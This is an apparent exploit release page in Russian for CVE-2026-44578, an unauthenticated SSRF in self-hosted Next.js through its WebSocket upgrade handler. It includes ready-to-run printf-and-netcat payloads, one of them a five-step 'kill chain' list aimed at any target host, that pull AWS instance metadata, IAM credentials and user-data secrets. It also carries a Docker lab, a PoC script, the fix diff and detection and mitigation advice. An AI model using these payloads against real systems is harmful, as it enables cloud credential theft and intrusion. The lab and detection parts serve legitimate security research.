## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DINOSN-CVE-2026-44578
# CVE-2026-44578 — SSRF через обновление WebSocket в Next.js
Подделка серверного запроса (SSRF) до аутентификации в самостоятельно размещённых развёртываниях Next.js.
Один специально сформированный HTTP-запрос извлекает учётные данные AWS, секреты и данные внутренних сервисов с localhost:80.
Поле| Значение
---|---
CVE| CVE-2026-44578
GHSA| GHSA-c4j6-fc7j-m34r
CVSS 3.1| **8.6 HIGH** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`)
Тип| SSRF (CWE-918)
Затронутые версии| Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (только самостоятельное размещение)
Исправлено в| 15.5.16, 16.2.5
Требуется аутентификация| Нет
Взаимодействие пользователя| Нет
* * *
## Уязвимость
Обработчик обновления WebSocket в `router-server.ts` вызывает `proxyRequest()` всякий раз, когда `parsedUrl.protocol` истинно — без проверки флагов завершения маршрутизации `finished` и `statusCode`, которые всегда применялись в HTTP-обработчике.
root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
После того как `normalizeRepeatedSlashes` сворачивает `http:///` в `http:/`, имя хоста становится null, и http-proxy подключается к **localhost:80** с правильным путём. Любой совместно размещённый сервис (облачные метаданные, панели администратора, внутренние API) становится доступен.
* * *
## Команда эксплуатации
root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
> `curl` не может отправлять URI в абсолютной форме. Используйте сырой TCP: `nc`, `ncat`, `socat` или сокеты Python.
* * *
## Как это работает
root@kitploit:~
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
* * *
## Воспроизведение в лабораторных условиях
### Предварительные требования
* Docker + Docker Compose
* Python 3.10+
* `nc` (netcat)
### Настройка
root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
Это запускает 5 контейнеров:
Боковые контейнеры IMDS используют `network_mode: "service:nextjs-*"`, поэтому фальшивый сервис метаданных находится на `localhost:80` внутри контейнера Next.js — моделируя реальный облачный экземпляр.
### Запуск эксплойта
root@kitploit:~
# Полный набор тестов (7 SSRF-зондов)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Извлечение единичных учётных данных
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Подтверждение, что исправленный экземпляр блокирует запрос
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
### Завершение работы
root@kitploit:~
./teardown.sh
* * *
## Доказательства
### 1\. Запуск лаборатории
Все контейнеры запущены — уязвимая версия (15.5.15) на :3000, исправленная (15.5.16) на :3001, боковые контейнеры IMDS разделяют пространства имён сети.

### 2\. SSRF — Перечисление метаданных AWS
Один запрос возвращает полный каталог метаданных EC2 (ami-id, instance-id, iam/, placement/ и т.д.)

### 3\. SSRF — Извлечение учётных данных IAM
Полный набор учётных данных IAM: `AccessKeyId`, `SecretAccessKey`, `Token` и `Expiration`.

### 4\. SSRF — Секреты пользовательских данных
Сценарий начальной загрузки пользовательских данных EC2, содержащий `DB_PASSWORD` и `API_KEY`.

### 5\. SSRF — Идентификатор экземпляра
Идентификатор экземпляра, извлечённый через тот же SSRF-вектор.

### 6\. Исправленный экземпляр — заблокирован
Тот же пейлоад против Next.js 15.5.16. Соединение закрыто немедленно — данные не возвращены.

### 7\. Логи IMDS — доказательство выполнения на стороне сервера
Логи фальшивого IMDS показывают GET-запросы, поступающие с `127.0.0.1` (процесс Next.js), что доказывает, что SSRF выполняется на стороне сервера.

### 8\. Полный набор PoC — уязвимый (7/7 подтверждено)
Все 7 SSRF-тестов возвращают конфиденциальные данные на уязвимом экземпляре.

### 9\. Полный набор PoC — исправленный (0/7 заблокировано)
Все 7 тестов заблокированы на исправленном экземпляре. Исправление подтверждено.

* * *
## Пейлоады kill chain
root@kitploit:~
# 1. Список категорий метаданных
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. Идентификатор экземпляра
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. Обнаружение роли IAM
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. Извлечение учётных данных IAM
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. Секреты пользовательских данных
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
Замените `T` на целевой хост, а `ROLE` на имя роли IAM.
* * *
## Ограничения
* * *
## Обнаружение и смягчение
root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
На AWS: принудительно используйте IMDSv2 (`HttpTokens=required`).
Сигнатуры в логах:
* `Failed to proxy http:/` — прокси сработал, но цель недоступна
* Вариант `http:///path` **не создаёт запись об ошибке** — отслеживайте обновления WebSocket с `http:` в строке запроса
* * *
## Ссылки
* * *
## Отказ от ответственности
Только для авторизованного тестирования безопасности, обучения и защитных исследований. Используйте только против систем, которые вам принадлежат или на тестирование которых у вас есть явное письменное разрешение.